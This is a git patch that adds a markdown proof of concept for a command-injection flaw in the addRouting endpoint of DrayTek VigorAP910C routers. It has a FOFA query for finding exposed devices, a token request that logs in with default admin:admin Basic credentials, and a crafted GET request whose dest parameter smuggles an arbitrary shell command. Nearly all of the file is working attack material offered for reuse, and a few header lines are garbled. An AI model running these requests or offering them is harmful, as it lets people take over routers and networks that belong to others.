From bd1de55d7d0faec153b86b687cd4cc34d6a635a4 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Wed, 17 Apr 2024 20:00:03 +0800 Subject: [PATCH] =?UTF-8?q?Create=20draytek=E8=B7=AF=E7=94=B1=E5=99=A8addr?= =?UTF-8?q?outing=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- draytek路由器addrouting命令执行漏洞.md | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 draytek路由器addrouting命令执行漏洞.md diff --git a/draytek路由器addrouting命令执行漏洞.md b/draytek路由器addrouting命令执行漏洞.md new file mode 100644 index 0000000..0a82add --- /dev/null +++ b/draytek路由器addrouting命令执行漏洞.md @@ -0,0 +1,24 @@ +## draytek路由器addrouting命令执行漏洞 + +## fofa +``` +header="realm="VigorAP910C" +``` + + +## poc +``` +获取token +GET /opmode.asp HTTP/1.1 +Host: +Authorization: Basic YWRtaW46YWRtaW4= +Referer:{{Hostname}} +ser-Agent: Mozilla/5.0 - | + +执行命令 +GET /goform/addRouting?AuthStr={{token}}&dest=||+echo+$(+{{rce}})%3b%23a HTTP/1.1 +Host: +Authorization: Basic YWRtaW46YWRtaW4= R +eferer:{{Hostname}} +User-Agent: Mozilla/5.0 +```